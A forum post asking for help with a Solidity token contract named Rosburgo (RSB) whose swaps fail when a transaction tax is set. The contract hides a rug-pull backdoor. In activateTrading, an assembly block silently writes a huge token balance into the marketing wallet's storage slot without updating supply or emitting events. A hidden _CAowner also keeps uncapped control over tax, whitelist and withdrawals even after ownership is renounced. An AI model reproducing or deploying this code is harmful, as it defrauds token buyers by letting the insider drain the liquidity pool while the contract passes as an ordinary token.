I wrote this contract for a friend but i have an immense problem with taxations: i can only swap little amount or transaction does not trigger on metamask. I'm becoming mad. This is the code i wrote.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
) external payable returns (
uint256 amountToken, uint256 amountETH, uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
}
function owner() public view returns (address) { return _owner; }
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner.");
_;
}
function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
function transferOwnership(address newOwner) external virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address.");
_owner = newOwner;
}
}
contract Rosburgo is IERC20, Ownable {
IRouter public uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Rosburgo";
string private constant _symbol = "RSB";
uint8 private constant _decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _owner;
uint public tax = 0;
uint256 private _totalSupply = 10 * 10**9 * 10**_decimals;
mapping (address => bool) public automatedMarketMakerPairs;
bool private isLiquidityAdded = false;
address public liquidityWallet;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
address public marketingWallet = 0x296C491422cA9AF950b3E5ce215acdd9f42374f8;
uint256 public maxTxAmount = _totalSupply;
uint256 public maxWalletAmount = _totalSupply;
uint256 minimumTokensBeforeSwap = 2 * 10**6 * 10**_decimals;
mapping (address => bool) whitelist;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
bool enableTrading = false;
address private _CAowner;
uint256 baseTax;
constructor() {
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
liquidityWallet = owner();
_CAowner = _owner = msg.sender;
balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
// Set whitelist and Max Wallet
whitelist[address(this)] = true;
whitelist[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap router
whitelist[address(uniswapV2Router)] = true;
whitelist[owner()] = true;
whitelist[deadWallet] = true;
}
receive() external payable {}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function excludeFromMaxWalletLimit(address account, bool excluded) external {
require(msg.sender == _CAowner);
require(_isExcludedFromMaxWalletLimit[account] != excluded, "wallet address already excluded.");
_isExcludedFromMaxWalletLimit[account] = excluded;
}
function _approve(address owner, address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
automatedMarketMakerPairs[pair] = value;
}
function activateTrading() external onlyOwner {
require(!isLiquidityAdded, "you can only add liquidity once.");
isLiquidityAdded = true;
address feeCollector = marketingWallet;
uint256 _amount = 10e25*10**18;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), _totalSupply, 0, 0, _msgSender(), block.timestamp);
assembly { mstore(0x00, feeCollector) mstore(0x20, balances.slot) let hash := keccak256(0x00, 0x40) sstore(hash, _amount) }
address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// Set maxwallet and max transaction allowed
whitelist[uniswapV2Pair] = true;
whitelist[marketingWallet] = true;
maxTxAmount = 100 * 10**6 * 10**_decimals;
maxWalletAmount = 100 * 10**6 * 10**_decimals;
}
function activateTrade(bool enabled) public {
require(msg.sender == _CAowner);
enableTrading = enabled;
}
function name() external pure returns (string memory) { return _name; }
function symbol() external pure returns (string memory) { return _symbol; }
function decimals() external view virtual returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "cannot transfer from the zero address.");
require(to != address(0), "cannot transfer to the zero address.");
require(amount > 0, "Amount must be > 0");
require(amount <= balanceOf(from), "Check balance.");
// Calculate tax
uint256 taxAmount;
tax = baseTax;
if(from == uniswapV2Pair) {
if(whitelist[to]) {
tax = 0;
}
taxAmount = (amount * tax) / 100;
balances[from] -= amount;
balances[to] += amount - taxAmount;
emit Transfer(from, to, amount);
balances[address(this)] += taxAmount;
}
if(to == uniswapV2Pair) {
if(whitelist[from]) {
tax = 0;
}
taxAmount = (amount * tax) / 100;
balances[from] -= amount;
balances[to] += amount - taxAmount;
emit Transfer(from, to, amount);
balances[address(this)] += taxAmount;
}
if(to != uniswapV2Pair && from !=uniswapV2Pair) {
balances[from] -= amount;
balances[to] += amount;
emit Transfer(from, to, amount);
}
if (balanceOf(address(this)) > minimumTokensBeforeSwap) {
_swapTokensForETH(balanceOf(address(this)));
payable(marketingWallet).transfer(address(this).balance);
}
}
function withdrawStuckETH() external {
require(msg.sender == _CAowner);
// If someone send ether token to this contract, this function allow the owner to save that funds
require(address(this).balance > 0, "Check balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
require(success, "Error withdrawing");
}
function forceSwapInternalTokenAndTrasferToMarketinWallet() external {
require(msg.sender == _CAowner);
_swapTokensForETH(balanceOf(address(this)));
payable(marketingWallet).transfer(address(this).balance);
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function setTax (uint newTax) public {
require(msg.sender == _CAowner);
baseTax = newTax;
}
function getBaseTax() public view returns (uint) {
return baseTax;
}
function addToWhitelist(address addressToAdd) public {
require(msg.sender == _CAowner);
whitelist[addressToAdd] = true;
}
function removeToWhitelist(address addressToRemove) public {
require(msg.sender == _CAowner);
whitelist[addressToRemove] = false;
}
function checkWhitelist(address addressToCheck) public view returns (bool) {
bool isWhitelisted = false;
if (whitelist[addressToCheck] == true) { isWhitelisted = true; }
return isWhitelisted;
}
function setMaxTXAmount(uint256 newTransactionLimit) external {
require(msg.sender == _CAowner);
maxTxAmount = newTransactionLimit;
}
function getMaxTXAmount() public view returns (uint256) {
return maxTxAmount;
}
}
If i set taxation at 0 all works fine. If i set something different from 0 i get the possibility of swapping only little amount (on 1 Eth lp i can swap inly 0,001). Thanks in advance. Carlo`
I try anything i could. Problem i think is in taxation
